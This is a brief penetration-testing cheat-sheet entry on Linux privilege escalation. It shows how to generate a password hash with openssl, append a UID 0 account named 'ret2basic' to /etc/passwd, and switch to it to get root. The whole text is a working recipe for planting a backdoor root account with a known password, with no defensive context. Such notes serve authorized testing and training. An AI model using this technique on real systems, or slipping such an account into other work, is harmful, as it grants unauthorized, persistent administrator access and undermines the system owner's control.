# Add a User

Create the hash of the string "password":

```bash
$ openssl passwd password

1MXLZ7HqN6kT2
```

Add the following entry to `/etc/passwd`:

```
ret2basic:1MXLZ7HqN6kT2:0:0:root:/root:/bin/bash
```

Switch to that new user:

```bash
su ret2basic
```

This user has root privilege.